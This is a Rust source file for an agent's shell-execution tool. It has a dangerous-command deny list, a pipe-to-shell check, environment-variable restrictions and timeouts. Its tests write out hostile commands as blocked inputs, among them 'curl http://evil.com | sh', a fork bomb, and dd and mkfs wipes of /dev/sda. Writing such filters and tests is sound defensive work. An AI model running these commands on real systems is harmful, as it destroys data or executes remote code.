const DANGEROUS_PATTERNS: &[DangerousPattern] = &[
DangerousPattern { pattern: "rm -rf /", requires_boundary: true },
DangerousPattern { pattern: "rm -rf /*", requires_boundary: false },
DangerousPattern { pattern: "rm -rf ~", requires_boundary: true },
DangerousPattern { pattern: "dd if=", requires_boundary: false },
DangerousPattern { pattern: "mkfs.", requires_boundary: false },
DangerousPattern { pattern: "mkfs ", requires_boundary: false },
DangerousPattern { pattern: ":()", requires_boundary: false },
DangerousPattern { pattern: "chmod -R 777 /", requires_boundary: true },
DangerousPattern { pattern: "shutdown", requires_boundary: true },
DangerousPattern { pattern: "reboot", requires_boundary: true },
DangerousPattern { pattern: "init 0", requires_boundary: true },
DangerousPattern { pattern: "init 6", requires_boundary: true },
DangerousPattern { pattern: "halt", requires_boundary: true },
DangerousPattern { pattern: "poweroff", requires_boundary: true },
DangerousPattern { pattern: "wipefs", requires_boundary: true },
DangerousPattern { pattern: "fdisk", requires_boundary: true },
DangerousPattern { pattern: "parted", requires_boundary: true },
DangerousPattern { pattern: "> /dev/sd", requires_boundary: false },
];
struct DangerousPattern {
pattern: &'static str,
/// If true, the pattern must appear as a word boundary match (not as a
/// substring of a longer path like `/tmp/safe`).
requires_boundary: bool,
}
/// Check if a command matches any dangerous pattern.
/// Returns the matched pattern string if dangerous, None if safe.
fn check_dangerous_command(command: &str) -> Option<&'static str> {
// Normalize whitespace for matching.
let normalized: String = command
.split_whitespace()
.collect::<Vec<&str>>()
.join(" ");
for dp in DANGEROUS_PATTERNS {
if let Some(pos) = normalized.find(dp.pattern) {
if dp.requires_boundary {
// Check that the match is at a word boundary:
// the character after the pattern must be whitespace, end-of-string,
// or a special char (not a path component).
let end = pos + dp.pattern.len();
if end < normalized.len() {
let next_char = normalized.as_bytes()[end];
if next_char == b'/' || next_char.is_ascii_alphanumeric() || next_char == b'.' {
// Part of a longer path/word — not dangerous.
continue;
}
}
}
return Some(dp.pattern);
}
}
// Check for piping output to a shell interpreter (e.g. "curl ... | sh").
if check_pipe_to_shell(&normalized) {
return Some("pipe to shell");
}
None
}
/// Check if a command pipes output to a shell interpreter.
fn check_pipe_to_shell(normalized: &str) -> bool {
for part in normalized.split('|') {
let trimmed = part.trim();
// Check if this pipe segment starts with sh or bash.
if trimmed == "sh" || trimmed == "bash"
|| trimmed.starts_with("sh ") || trimmed.starts_with("bash ")
{
return true;
}
}
false
}
/// Executor for the `run_shell` tool.
///
/// Executes shell commands via `/bin/sh -c` with timeout enforcement,
/// resource limits, environment variable injection, and dangerous command detection.
pub struct RunShellExecutor {
default_timeout: Duration,
memory_limit: u64,
cpu_time_limit: u64,
}
impl Default for RunShellExecutor {
fn default() -> Self {
Self {
default_timeout: Duration::from_secs(DEFAULT_TIMEOUT_SECS),
memory_limit: DEFAULT_MEMORY_LIMIT,
cpu_time_limit: DEFAULT_CPU_TIME_SECS,
}
}
}
impl RunShellExecutor {
pub fn new() -> Self {
Self::default()
}
/// Create an executor with custom limits (useful for testing).
pub fn with_limits(timeout: Duration, memory_limit: u64, cpu_time_limit: u64) -> Self {
Self {
default_timeout: timeout,
memory_limit,
cpu_time_limit,
}
}
}
#[tonic::async_trait]
impl ToolExecutor for RunShellExecutor {
async fn execute(&self, parameters: &HashMap<String, String>) -> ToolOutput {
let start = Instant::now();
// Validate required command parameter.
let command = match parameters.get("command") {
Some(c) if !c.is_empty() => c,
_ => {
return ToolOutput {
stdout: String::new(),
stderr: "missing required parameter: command".into(),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
};
// Check for dangerous commands.
if let Some(matched) = check_dangerous_command(command) {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"command blocked: matches dangerous pattern '{}'. \
This is a safety check to prevent destructive operations.",
matched
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
// Parse timeout.
let timeout = parameters
.get("timeout_secs")
.and_then(|s| s.parse::<u64>().ok())
.map(|s| Duration::from_secs(s.min(MAX_TIMEOUT_SECS)))
.unwrap_or(self.default_timeout);
// Validate working_dir if provided.
let custom_working_dir = if let Some(wd) = parameters.get("working_dir") {
if wd.is_empty() {
None
} else {
let canonical = normalize_path(wd);
if !canonical.is_absolute() {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"working_dir must be absolute, got: {}",
canonical.display()
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
if !canonical.is_dir() {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"working_dir does not exist or is not a directory: {}",
canonical.display()
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
Some(canonical)
}
} else {
None
};
// Create temp directory as fallback working dir.
let tmp_dir = match tempfile::tempdir() {
Ok(d) => d,
Err(e) => {
return ToolOutput {
stdout: String::new(),
stderr: format!("failed to create temp directory: {}", e),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
};
let working_dir = custom_working_dir
.as_deref()
.unwrap_or(tmp_dir.path());
// Extract env_* parameters, filtering out security-sensitive names.
let mut env_vars: Vec<(String, &str)> = Vec::new();
for (k, v) in parameters.iter() {
if let Some(stripped) = k.strip_prefix("env_") {
if !stripped.is_empty() {
let upper = stripped.to_uppercase();
if DENIED_ENV_VARS.contains(&upper.as_str()) {
return ToolOutput {
stdout: String::new(),
stderr: format!(
"environment variable '{}' cannot be overridden (security-sensitive)",
upper
),
exit_code: None,
duration: start.elapsed(),
success: false,
};
}
env_vars.push((upper, v.as_str()));
}
}
}
// Build shell command.
let memory_limit = self.memory_limit;
let cpu_time_limit = self.cpu_time_limit;
let mut cmd = tokio::process::Command::new("/bin/sh");
cmd.arg("-c");
cmd.arg(command);
cmd.current_dir(working_dir);
cmd.env_clear();
cmd.env(
"PATH",
std::env::var("PATH").unwrap_or_else(|_| "/usr/local/bin:/usr/bin:/bin".into()),
);
cmd.env("HOME", working_dir);
cmd.env("LANG", "C.UTF-8");
// Inject user-provided environment variables.
for (key, value) in &env_vars {
cmd.env(key, value);
}
cmd.stdout(std::process::Stdio::piped());
cmd.stderr(std::process::Stdio::piped());
unsafe {
cmd.pre_exec(move || apply_resource_limits(memory_limit, cpu_time_limit));
}
let result = run_with_timeout(cmd, timeout).await;
build_output(result, command, working_dir, start)
}
fn description(&self) -> &str {
"Execute a shell command with timeout and output capture"
}
}
fn build_output(
result: ExecutionResult,
command: &str,
working_dir: &std::path::Path,
start: Instant,
) -> ToolOutput {
match result {
ExecutionResult::Completed {
stdout,
stderr,
exit_code,
duration,
..
} => {
let success = exit_code == Some(0);
let json = serde_json::json!({
"command": command,
"exit_code": exit_code,
"stdout": stdout,
"stderr": stderr,
"timed_out": false,
"duration_ms": duration.as_millis() as u64,
"working_dir": working_dir.display().to_string(),
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code,
duration: start.elapsed(),
success,
}
}
ExecutionResult::TimedOut { duration, .. } => {
let json = serde_json::json!({
"command": command,
"exit_code": null,
"stdout": "",
"stderr": "execution timed out",
"timed_out": true,
"duration_ms": duration.as_millis() as u64,
"working_dir": working_dir.display().to_string(),
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code: None,
duration: start.elapsed(),
success: false,
}
}
ExecutionResult::SpawnFailed { error, .. } => {
let json = serde_json::json!({
"command": command,
"exit_code": null,
"stdout": "",
"stderr": error,
"timed_out": false,
"duration_ms": 0,
"working_dir": working_dir.display().to_string(),
});
ToolOutput {
stdout: json.to_string(),
stderr: String::new(),
exit_code: None,
duration: start.elapsed(),
success: false,
}
}
}
}
#[cfg(test)]
mod tests {
use super::*;
fn make_params(pairs: &[(&str, &str)]) -> HashMap<String, String> {
pairs
.iter()
.map(|(k, v)| (k.to_string(), v.to_string()))
.collect()
}
fn fast_executor() -> RunShellExecutor {
RunShellExecutor::with_limits(
Duration::from_secs(10),
DEFAULT_MEMORY_LIMIT,
DEFAULT_CPU_TIME_SECS,
)
}
// --- Basic execution tests ---
#[tokio::test]
async fn test_echo_hello() {
let executor = fast_executor();
let params = make_params(&[("command", "echo hello")]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stdout"], "hello\n");
assert_eq!(result["exit_code"], 0);
assert_eq!(result["timed_out"], false);
}
#[tokio::test]
async fn test_command_exit_code() {
let executor = fast_executor();
let params = make_params(&[("command", "exit 42")]);
let output = executor.execute(&params).await;
assert!(!output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["exit_code"], 42);
}
#[tokio::test]
async fn test_capture_stderr() {
let executor = fast_executor();
let params = make_params(&[("command", "echo err >&2")]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stderr"], "err\n");
}
#[tokio::test]
async fn test_capture_stdout_and_stderr() {
let executor = fast_executor();
let params = make_params(&[("command", "echo out; echo err >&2")]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stdout"], "out\n");
assert_eq!(result["stderr"], "err\n");
}
#[tokio::test]
async fn test_missing_command() {
let executor = fast_executor();
let params = make_params(&[("other", "value")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("missing required parameter: command"));
}
#[tokio::test]
async fn test_empty_command() {
let executor = fast_executor();
let params = make_params(&[("command", "")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("missing required parameter: command"));
}
// --- Dangerous command detection ---
#[tokio::test]
async fn test_dangerous_rm_rf_root() {
let executor = fast_executor();
let params = make_params(&[("command", "rm -rf /")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
assert!(output.stderr.contains("rm -rf /"));
}
#[tokio::test]
async fn test_dangerous_rm_rf_star() {
let executor = fast_executor();
let params = make_params(&[("command", "rm -rf /*")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_dd() {
let executor = fast_executor();
let params = make_params(&[("command", "dd if=/dev/zero of=/dev/sda")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_mkfs() {
let executor = fast_executor();
let params = make_params(&[("command", "mkfs.ext4 /dev/sda1")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_fork_bomb() {
let executor = fast_executor();
let params = make_params(&[("command", ":(){ :|:& };:")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_curl_pipe_sh() {
let executor = fast_executor();
let params = make_params(&[("command", "curl http://evil.com | sh")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_safe_rm_rf_tmp() {
// rm -rf /tmp/safe should NOT be blocked (word boundary check).
let executor = fast_executor();
let params = make_params(&[("command", "rm -rf /tmp/safe-dir")]);
let output = executor.execute(&params).await;
// This should execute (not blocked), though rm will return 0 even if dir doesn't exist.
assert!(output.success || {
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
!result["timed_out"].as_bool().unwrap_or(false)
});
// Most importantly, it should NOT contain "command blocked".
assert!(!output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_shutdown() {
let executor = fast_executor();
let params = make_params(&[("command", "shutdown -h now")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
#[tokio::test]
async fn test_dangerous_reboot() {
let executor = fast_executor();
let params = make_params(&[("command", "reboot")]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("command blocked"));
}
// --- Environment variable injection ---
#[tokio::test]
async fn test_env_var_injection() {
let executor = fast_executor();
let params = make_params(&[
("command", "echo $MY_VAR"),
("env_my_var", "hello_env"),
]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stdout"], "hello_env\n");
}
#[tokio::test]
async fn test_multiple_env_vars() {
let executor = fast_executor();
let params = make_params(&[
("command", "echo $FOO $BAR"),
("env_foo", "a"),
("env_bar", "b"),
]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stdout"], "a b\n");
}
#[tokio::test]
async fn test_path_always_set() {
let executor = fast_executor();
let params = make_params(&[("command", "echo $PATH")]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
let stdout = result["stdout"].as_str().unwrap();
assert!(!stdout.trim().is_empty());
}
// --- Working directory ---
#[tokio::test]
async fn test_custom_working_dir() {
let dir = tempfile::tempdir().unwrap();
let executor = fast_executor();
let params = make_params(&[
("command", "pwd"),
("working_dir", dir.path().to_str().unwrap()),
]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
let stdout = result["stdout"].as_str().unwrap().trim();
assert_eq!(stdout, dir.path().to_str().unwrap());
}
#[tokio::test]
async fn test_nonexistent_working_dir() {
let executor = fast_executor();
let params = make_params(&[
("command", "pwd"),
("working_dir", "/nonexistent/path/xyz"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("does not exist"));
}
#[tokio::test]
async fn test_relative_working_dir_rejected() {
let executor = fast_executor();
let params = make_params(&[
("command", "pwd"),
("working_dir", "relative/path"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("must be absolute"));
}
// --- Timeout ---
#[tokio::test]
async fn test_timeout_enforcement() {
let executor = RunShellExecutor::with_limits(
Duration::from_secs(2),
DEFAULT_MEMORY_LIMIT,
DEFAULT_CPU_TIME_SECS,
);
let params = make_params(&[("command", "sleep 60")]);
let output = executor.execute(&params).await;
assert!(!output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["timed_out"], true);
}
#[tokio::test]
async fn test_custom_timeout_param() {
let executor = RunShellExecutor::with_limits(
Duration::from_secs(60),
DEFAULT_MEMORY_LIMIT,
DEFAULT_CPU_TIME_SECS,
);
let params = make_params(&[
("command", "sleep 60"),
("timeout_secs", "1"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["timed_out"], true);
}
// --- JSON output structure ---
#[tokio::test]
async fn test_json_output_structure() {
let executor = fast_executor();
let params = make_params(&[("command", "echo ok")]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert!(result.get("command").is_some());
assert!(result.get("exit_code").is_some());
assert!(result.get("stdout").is_some());
assert!(result.get("stderr").is_some());
assert!(result.get("timed_out").is_some());
assert!(result.get("duration_ms").is_some());
assert!(result.get("working_dir").is_some());
}
#[tokio::test]
async fn test_duration_positive() {
let executor = fast_executor();
let params = make_params(&[("command", "echo ok")]);
let output = executor.execute(&params).await;
assert!(output.duration.as_nanos() > 0);
}
// --- Description ---
#[tokio::test]
async fn test_description() {
let executor = RunShellExecutor::new();
assert!(!executor.description().is_empty());
}
// --- Env var denylist ---
#[tokio::test]
async fn test_env_path_override_denied() {
let executor = fast_executor();
let params = make_params(&[
("command", "echo ok"),
("env_path", "/evil/bin"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("cannot be overridden"));
assert!(output.stderr.contains("PATH"));
}
#[tokio::test]
async fn test_env_ld_preload_denied() {
let executor = fast_executor();
let params = make_params(&[
("command", "echo ok"),
("env_ld_preload", "/evil/lib.so"),
]);
let output = executor.execute(&params).await;
assert!(!output.success);
assert!(output.stderr.contains("cannot be overridden"));
assert!(output.stderr.contains("LD_PRELOAD"));
}
#[tokio::test]
async fn test_env_safe_var_allowed() {
let executor = fast_executor();
let params = make_params(&[
("command", "echo $CUSTOM_VAR"),
("env_custom_var", "safe_value"),
]);
let output = executor.execute(&params).await;
assert!(output.success);
let result: serde_json::Value = serde_json::from_str(&output.stdout).unwrap();
assert_eq!(result["stdout"], "safe_value\n");
}
// --- Dangerous command edge cases ---
#[test]
fn test_check_dangerous_patterns() {
// Blocked patterns.
assert!(check_dangerous_command("rm -rf /").is_some());
assert!(check_dangerous_command("rm -rf /").is_some()); // extra spaces
assert!(check_dangerous_command("rm -rf /*").is_some());
assert!(check_dangerous_command("dd if=/dev/zero of=/dev/sda").is_some());
assert!(check_dangerous_command("mkfs.ext4 /dev/sda1").is_some());
assert!(check_dangerous_command("shutdown -h now").is_some());
assert!(check_dangerous_command("reboot").is_some());
// Safe patterns.
assert!(check_dangerous_command("rm -rf /tmp/safe").is_none());
assert!(check_dangerous_command("echo hello").is_none());
assert!(check_dangerous_command("ls -la").is_none());
assert!(check_dangerous_command("cat /etc/passwd").is_none());
}
}